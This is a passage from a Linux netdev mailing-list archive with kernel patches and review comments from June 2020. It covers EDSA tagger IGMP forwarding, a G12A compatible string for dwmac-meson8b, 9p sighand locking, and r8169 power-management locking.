> if (unlikely(!pskb_may_pull(skb, EDSA_HLEN)))
> return NULL;
> @@ -100,6 +101,11 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
> source_device = edsa_header[0] & 0x1f;
> source_port = (edsa_header[1] >> 3) & 0x1f;
>
> + /*
> + * Determine the kind of the frame
> + */
> + to_cpu_code = (edsa_header[1] & 0x6) | ((edsa_header[2] >> 4) & 1);
> +
These bits are only valid on a TO_CPU frame. If it is a Forward frame,
these bits have different meanings. So you need to check the frame
type.
Please add some #defines for these magic numbers. Yes, i know there
are a lot of other magic numbers. We can fix that in a different
patch.
> skb->dev = dsa_master_find_slave(dev, source_device, source_port);
> if (!skb->dev)
> return NULL;
> @@ -156,7 +162,13 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
> 2 * ETH_ALEN);
> }
>
> - skb->offload_fwd_mark = 1;
> + /*
> + * Mark the frame to never egress on any port of the same switch
> + * unless it's a trapped IGMP/MLD packet, in which case the bridge
> + * might want to forward it.
> + */
> + if (to_cpu_code != 0x02)
> + skb->offload_fwd_mark = 1;
Please add some #defines for the different codes.
Thanks
Andrew
^ permalink raw reply
* [PATCH 0/2] prepare dwmac-meson8b for G12A specific initialization
From: Martin Blumenstingl @ 2020-06-20 19:26 UTC (permalink / raw)
To: davem, netdev, linux-amlogic, robh+dt
Cc: devicetree, linux-kernel, linux-arm-kernel, Martin Blumenstingl
Some users are reporting that RGMII (and sometimes also RMII) Ethernet
is not working for them on G12A/G12B/SM1 boards. Upon closer inspection
of the vendor code for these SoCs new register bits are found.
It's not clear yet how these registers work. Add a new compatible string
as the first preparation step to improve Ethernet support on these SoCs.
Martin Blumenstingl (2):
dt-bindings: net: dwmac-meson: Add a compatible string for G12A
onwards
net: stmmac: dwmac-meson8b: add a compatible string for G12A SoCs
.../devicetree/bindings/net/amlogic,meson-dwmac.yaml | 3 +++
drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c | 4 ++++
2 files changed, 7 insertions(+)
--
2.27.0
^ permalink raw reply
* [PATCH 1/2] dt-bindings: net: dwmac-meson: Add a compatible string for G12A onwards
From: Martin Blumenstingl @ 2020-06-20 19:26 UTC (permalink / raw)
To: davem, netdev, linux-amlogic, robh+dt
Cc: devicetree, linux-kernel, linux-arm-kernel, Martin Blumenstingl
In-Reply-To: <20200620192641.175754-1-martin.blumenstingl@googlemail.com>
Amlogic Meson G12A, G12B and SM1 have the same (at least as far as we
know at the time of writing) PRG_ETHERNET glue register implementation.
This implementation however is slightly different from AXG as it now has
an undocument "auto cali idx val" register in PRG_ETH1[17:16] which
seems to be related to RGMII Ethernet.
Add a compatible string for G12A and newer so the new registers can be
used.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
---
Documentation/devicetree/bindings/net/amlogic,meson-dwmac.yaml | 3 +++
1 file changed, 3 insertions(+)
diff --git a/Documentation/devicetree/bindings/net/amlogic,meson-dwmac.yaml b/Documentation/devicetree/bindings/net/amlogic,meson-dwmac.yaml
index 64c20c92c07d..85fefe3a0444 100644
--- a/Documentation/devicetree/bindings/net/amlogic,meson-dwmac.yaml
+++ b/Documentation/devicetree/bindings/net/amlogic,meson-dwmac.yaml
@@ -22,6 +22,7 @@ select:
- amlogic,meson8m2-dwmac
- amlogic,meson-gxbb-dwmac
- amlogic,meson-axg-dwmac
+ - amlogic,meson-g12a-dwmac
required:
- compatible
@@ -36,6 +37,7 @@ allOf:
- amlogic,meson8m2-dwmac
- amlogic,meson-gxbb-dwmac
- amlogic,meson-axg-dwmac
+ - amlogic,meson-g12a-dwmac
then:
properties:
@@ -95,6 +97,7 @@ properties:
- amlogic,meson8m2-dwmac
- amlogic,meson-gxbb-dwmac
- amlogic,meson-axg-dwmac
+ - amlogic,meson-g12a-dwmac
contains:
enum:
- snps,dwmac-3.70a
--
2.27.0
^ permalink raw reply related
* [PATCH 2/2] net: stmmac: dwmac-meson8b: add a compatible string for G12A SoCs
From: Martin Blumenstingl @ 2020-06-20 19:26 UTC (permalink / raw)
To: davem, netdev, linux-amlogic, robh+dt
Cc: devicetree, linux-kernel, linux-arm-kernel, Martin Blumenstingl
In-Reply-To: <20200620192641.175754-1-martin.blumenstingl@googlemail.com>
Amlogic Meson G12A, G12B and SM1 have the same (at least as far as we
know at the time of writing) PRG_ETHERNET glue register implementation.
This implementation however is slightly different from AXG as it now has
an undocument "auto cali idx val" register in PRG_ETH1[17:16] which
seems to be related to RGMII Ethernet.
Add a new compatible string for G12A SoCs so the logic for this new
register can be implemented in the future.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
---
drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c b/drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c
index 234e8b6816ce..544bc621146c 100644
--- a/drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c
+++ b/drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c
@@ -491,6 +491,10 @@ static const struct of_device_id meson8b_dwmac_match[] = {
.compatible = "amlogic,meson-axg-dwmac",
.data = &meson_axg_dwmac_data,
},
+ {
+ .compatible = "amlogic,meson-g12a-dwmac",
+ .data = &meson_axg_dwmac_data,
+ },
{ }
};
MODULE_DEVICE_TABLE(of, meson8b_dwmac_match);
--
2.27.0
^ permalink raw reply related
* [PATCH v2] dsa: Allow forwarding of redirected IGMP traffic
From: Daniel Mack @ 2020-06-20 19:39 UTC (permalink / raw)
To: netdev; +Cc: jcobham, andrew, Daniel Mack
The driver for Marvell switches puts all ports in IGMP snooping mode
which results in all IGMP/MLD frames that ingress on the ports to be
forwarded to the CPU only.
The bridge code in the kernel can then interpret these frames and act
upon them, for instance by updating the mdb in the switch to reflect
multicast memberships of stations connected to the ports. However,
the IGMP/MLD frames must then also be forwarded to other ports of the
bridge so external IGMP queriers can track membership reports, and
external multicast clients can receive query reports from foreign IGMP
queriers.
Currently, this is impossible as the EDSA tagger sets offload_fwd_mark
on the skb when it unwraps the tagged frames, and that will make the
switchdev layer prevent the skb from egressing on any other port of
the same switch.
To fix that, look at the To_CPU code in the DSA header and make
forwarding of the frame possible for trapped IGMP packets.
Introduce some #defines for the frame types to make the code a bit more
comprehensive.
This was tested on a Marvell 88E6352 variant.
Signed-off-by: Daniel Mack <daniel@zonque.org>
---
v2:
* Limit IGMP handling to TO_CPU frames
* Use #defines for the TO_CPU codes and the frame types
net/dsa/tag_edsa.c | 37 ++++++++++++++++++++++++++++++++++---
1 file changed, 34 insertions(+), 3 deletions(-)
diff --git a/net/dsa/tag_edsa.c b/net/dsa/tag_edsa.c
index e8eaa804ccb9e..d6200ff982007 100644
--- a/net/dsa/tag_edsa.c
+++ b/net/dsa/tag_edsa.c
@@ -13,6 +13,16 @@
#define DSA_HLEN 4
#define EDSA_HLEN 8
+#define FRAME_TYPE_TO_CPU 0x00
+#define FRAME_TYPE_FORWARD 0x03
+
+#define TO_CPU_CODE_MGMT_TRAP 0x00
+#define TO_CPU_CODE_FRAME2REG 0x01
+#define TO_CPU_CODE_IGMP_MLD_TRAP 0x02
+#define TO_CPU_CODE_POLICY_TRAP 0x03
+#define TO_CPU_CODE_ARP_MIRROR 0x04
+#define TO_CPU_CODE_POLICY_MIRROR 0x05
+
static struct sk_buff *edsa_xmit(struct sk_buff *skb, struct net_device *dev)
{
struct dsa_port *dp = dsa_slave_to_port(dev);
@@ -77,6 +87,8 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt)
{
u8 *edsa_header;
+ int frame_type;
+ int code;
int source_device;
int source_port;
@@ -91,8 +103,29 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
/*
* Check that frame type is either TO_CPU or FORWARD.
*/
- if ((edsa_header[0] & 0xc0) != 0x00 && (edsa_header[0] & 0xc0) != 0xc0)
+ frame_type = edsa_header[0] >> 6;
+
+ switch (frame_type) {
+ case FRAME_TYPE_TO_CPU:
+ code = (edsa_header[1] & 0x6) | ((edsa_header[2] >> 4) & 1);
+
+ /*
+ * Mark the frame to never egress on any port of the same switch
+ * unless it's a trapped IGMP/MLD packet, in which case the
+ * bridge might want to forward it.
+ */
+ if (code != TO_CPU_CODE_IGMP_MLD_TRAP)
+ skb->offload_fwd_mark = 1;
+
+ break;
+
+ case FRAME_TYPE_FORWARD:
+ skb->offload_fwd_mark = 1;
+ break;
+
+ default:
return NULL;
+ }
/*
* Determine source device and port.
@@ -156,8 +189,6 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
2 * ETH_ALEN);
}
- skb->offload_fwd_mark = 1;
-
return skb;
}
--
2.26.2
^ permalink raw reply related
* [PATCH] net/9p: Validate current->sighand in client.c
From: Alexander Kapshuk @ 2020-06-20 20:14 UTC (permalink / raw)
To: asmadeus
Cc: lucho, ericvh, davem, kuba, v9fs-developer, netdev, linux-kernel,
alexander.kapshuk
In-Reply-To: <20200618190807.GA20699@nautica>
Use (un)lock_task_sighand instead of spin_lock_irqsave and
spin_unlock_irqrestore to ensure current->sighand is a valid pointer as
suggested in the email referenced below.
Signed-off-by: Alexander Kapshuk <alexander.kapshuk@gmail.com>
Link: https://lore.kernel.org/lkml/20200618190807.GA20699@nautica/
---
net/9p/client.c | 18 ++++++++++++++----
1 file changed, 14 insertions(+), 4 deletions(-)
diff --git a/net/9p/client.c b/net/9p/client.c
index fc1f3635e5dd..15f16f2baa8f 100644
--- a/net/9p/client.c
+++ b/net/9p/client.c
@@ -787,9 +787,14 @@ p9_client_rpc(struct p9_client *c, int8_t type, const char *fmt, ...)
}
recalc_sigpending:
if (sigpending) {
- spin_lock_irqsave(¤t->sighand->siglock, flags);
+ if (!lock_task_sighand(current, &flags)) {
+ pr_warn("%s (%d): current->sighand==NULL in recalc_sigpending\n",
+ __func__, task_pid_nr(current));
+ err = -ESRCH;
+ goto reterr;
+ }
recalc_sigpending();
- spin_unlock_irqrestore(¤t->sighand->siglock, flags);
+ unlock_task_sighand(current, &flags);
}
if (err < 0)
goto reterr;
@@ -869,9 +874,14 @@ static struct p9_req_t *p9_client_zc_rpc(struct p9_client *c, int8_t type,
}
recalc_sigpending:
if (sigpending) {
- spin_lock_irqsave(¤t->sighand->siglock, flags);
+ if (!lock_task_sighand(current, &flags)) {
+ pr_warn("%s (%d): current->sighand==NULL in recalc_sigpending\n",
+ __func__, task_pid_nr(current));
+ err = -ESRCH;
+ goto reterr;
+ }
recalc_sigpending();
- spin_unlock_irqrestore(¤t->sighand->siglock, flags);
+ unlock_task_sighand(current, &flags);
}
if (err < 0)
goto reterr;
--
2.27.0
^ permalink raw reply related
* [PATCH net-next 0/7] r8169: mark device as detached in PCI D3 and improve locking
From: Heiner Kallweit @ 2020-06-20 20:33 UTC (permalink / raw)
To: David Miller, Realtek linux nic maintainers, Jakub Kicinski
Cc: netdev@vger.kernel.org
Mark the netdevice as detached whenever parent is in PCI D3hot and not
accessible. This mainly applies to runtime-suspend state.
In addition take RTNL lock in suspend calls, this allows to remove
the driver-specific mutex and improve PM callbacks in general.
Heiner Kallweit (7):
net: core: try to runtime-resume detached device in __dev_open
r8169: mark device as not present when in PCI D3
r8169: remove no longer needed checks for device being runtime-active
r8169: add rtl8169_up
r8169: use RTNL to protect critical sections
r8169: remove driver-specific mutex
r8169: improve rtl8169_runtime_resume
drivers/net/ethernet/realtek/r8169_main.c | 181 +++++-----------------
net/core/dev.c | 10 +-
2 files changed, 49 insertions(+), 142 deletions(-)
--
2.27.0
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox